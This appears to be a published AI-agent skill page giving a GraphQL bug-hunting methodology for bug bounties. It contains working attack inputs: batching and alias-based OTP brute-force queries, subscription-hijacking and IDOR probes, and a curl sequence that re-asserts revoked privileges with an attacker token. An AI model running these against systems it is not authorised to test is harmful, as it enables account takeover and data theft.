hunt-graphql skill

by elementalsouls·elementalsouls/Claude-BugHunter·4.7k stars·MIT

Hunting skill for graphql vulnerabilities. Built from 12 public bug bounty reports across IDOR via node() / GID, mutation IDOR including AI/LLM features, cross-tenant IDOR, SSRF via argument, batching-DoS, query-cost-bypass, SQLi via argument, broken-object-level-authz, auth-bypass via unscoped mutations, and PII exposure from missing field-level authz. Use when hunting graphql on any target.

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Install the hunt-graphql skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-graphql ~/.claude/skills/hunt-graphql

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

Crown Jewel Targets

GraphQL vulnerabilities are high-value because the attack surface is both broad and deep — a single endpoint can expose entire data models, privilege escalation paths, and cross-API state confusion. Highest payouts occur in:

Platform APIs (GitHub, Shopify, Stripe-tier targets) where GraphQL mutations interact with REST APIs managing the same resources
Race conditions between GraphQL mutations and REST endpoints where state synchronization is non-atomic — these hit medium-to-high severity reliably
Authorization persistence bugs where team/org/repo membership state is controlled by one API but readable/writable by another
B2B SaaS platforms where one tenant affecting another via schema traversal = critical
Internal admin GraphQL endpoints accidentally exposed to lower-privilege users

The GitHub reports demonstrate the crown jewel pattern: privilege that should be revoked persists because two APIs disagree on ground truth.

Attack Surface Signals

URL Patterns:

/graphql
/api/graphql
/v1/graphql
/query
/gql
/graph
/api/v2/graphql
/internal/graphql

Response Headers:

Content-Type: application/json  (with query body)
X-Request-Id + no REST-style path params = likely GraphQL

JavaScript Source Patterns:

// grep for these in JS bundles
"query {"
"mutation {"
"__typename"
"apollo"
"ApolloClient"
"graphql-tag"
"gql`"
"operationName"
"GRAPHQL_URI"

Tech Stack Signals:

Apollo Server/Client in JS bundles
Relay in React apps
graphene or strawberry (Python), graphql-ruby, gqlgen (Go), Lighthouse (Laravel)
POST requests with {"query": "..."} body shape in Burp history
schema or type in any response = confirmed GraphQL

Recon Sources:

github.com search: "graphql" site:target.com
Wayback Machine for /graphql paths
JS bundle scanning with LinkFinder or getallurls

Step-by-Step Hunting Methodology

Discover the endpoint — spider JS bundles, check /graphql, /api/graphql, review Burp passive scan hits for application/json POST with query fields

Test introspection — send the full introspection query. Even if blocked, try field-level enumeration:

{ __typename }

If that returns, introspection may be partially blocked but the schema is discoverable

Map the full schema — use InQL (Burp extension) or graphql-voyager to visualize relationships. Specifically look for:

Mutations that modify ownership, permissions, or membership
Mutations that mirror REST API functionality

Identify REST/GraphQL overlap — document every resource that can be modified via BOTH REST and GraphQL. These dual-write surfaces are your RC targets.

Test authorization boundaries per mutation — replay mutations as lower-privilege users. Does the server enforce the same authz as the equivalent REST call?

Hunt cross-API state desync — find sequences where:

REST action should revoke access
GraphQL mutation re-grants or preserves it
Test the ordering: REST first → GraphQL → check state; then GraphQL first → REST → check state

Test for persistent privilege after role/membership changes — remove a user via REST, then call the corresponding GraphQL mutation for that resource. Query current state via both APIs and compare.

Probe for IDOR in node IDs — GraphQL global IDs often encode object type + ID. Swap IDs across object boundaries and across account contexts.

Check batch query abuse — send arrays of operations to bypass rate limiting or amplify enumeration.

Document the exact reproduction chain — for RC bugs, time-based steps must be reproducible deterministically.

Payload & Detection Patterns

Full Introspection Query:

{
  __schema {
    types {
      name
      fields {
        name
        type {
          name
          kind
        }
      }
    }
  }
}

Minimal Introspection Probe (bypass attempt):

{ __typename }

curl introspection test:

curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{"query":"{ __schema { queryType { name } } }"}' | jq .

Field suggestion probe (bypass blind introspection blocks):

{ unknownField }

If response returns "Did you mean: [realFieldName]?" — schema is enumerable despite introspection being disabled.

Batch query amplification:

[
  {"query": "{ user(id: 1) { email } }"},
  {"query": "{ user(id: 2) { email } }"},
  {"query": "{ user(id: 3) { email } }"}
]

Subscription hijacking (cross-user channel access):

subscription { messageAdded(channelId: "OTHER_USERS_CHANNEL") { content sender { email } } }

If subscriptions lack per-user scoping, an attacker can receive real-time events from another user's channel or conversation.

Multi-code OTP/2FA brute-force via alias batching:

mutation { 
  v1: verifyOtp(code:"000001"){token} 
  v2: verifyOtp(code:"000002"){token}
  v3: verifyOtp(code:"000003"){token}
}

A single GraphQL request aliases the same mutation with different OTP codes. Combined with parallel HTTP, this defeats per-request rate limiting and compresses brute-force attempts into fewer network round-trips.

RC desync test pattern (pseudo-sequence):

# Step 1: Grant access via REST
curl -X PUT https://api.target.com/repos/ORG/REPO/teams/TEAM \
  -H "Authorization: token ADMIN_TOKEN" \
  -d '{"permission":"admin"}'

# Step 2: Revoke via REST  
curl -X DELETE https://api.target.com/repos/ORG/REPO/teams/TEAM \
  -H "Authorization: token ADMIN_TOKEN"

# Step 3: Re-assert via GraphQL mutation
curl -X POST https://api.target.com/graphql \
  -H "Authorization: bearer ATTACKER_TOKEN" \
  -d '{"query":"mutation { updateTeamsRepository(input: {repositoryId: \"REPO_ID\", teamId: \"TEAM_ID\", permission: ADMIN}) { clientMutationId } }"}'

# Step 4: Verify persistent access
curl https://api.target.com/repos/ORG/REPO/teams \
  -H "Authorization: token ADMIN_TOKEN"

Grep for GraphQL in JS bundles:

grep -Eo '(query|mutation|subscription)\s+\w+\s*[\({]' bundle.js
grep -Eo '"(/[a-z0-9/_-]*graphql[a-z0-9/_-]*)"' bundle.js

GraphQL introspection & audit tooling:

# InQL (Burp extension) — visualize GraphQL schema and relationships
inql -t https://target/graphql --generate-queries

# Clairvoyance — brute-force field names when introspection is disabled
python3 clairvoyance.py -u https://target/graphql -H "Authorization: Bearer TOKEN" -w wordlist.txt -o schema.json

# GraphQL Cop — scan for common misconfigurations (introspection enabled, no depth limits, etc.)
graphql-cop -t https://target/graphql

Common Root Causes

Dual-write without atomic locking — developers implement the same resource modification in both REST and GraphQL independently. Neither system is aware the other exists for that resource. State updates aren't serialized or compared.

Inconsistent authorization middleware — REST endpoints go through one auth layer (e.g., middleware chain), GraphQL resolvers go through a different resolver-level check. The same action, different enforcement.

GraphQL as "new REST" migration — teams add GraphQL mutations that mirror REST functionality without auditing the permission model. The GraphQL version is less mature and skips checks the REST version accumulated over time.

Introspection left on in production — default framework settings (Apollo, Graphene) enable introspection in all environments. Developers forget to disable it, treating it as "just documentation."

Node ID trust without re-authorization — GraphQL global IDs (base64("ObjectType:123")) are decoded and trusted without verifying the requesting user has access to that specific object.

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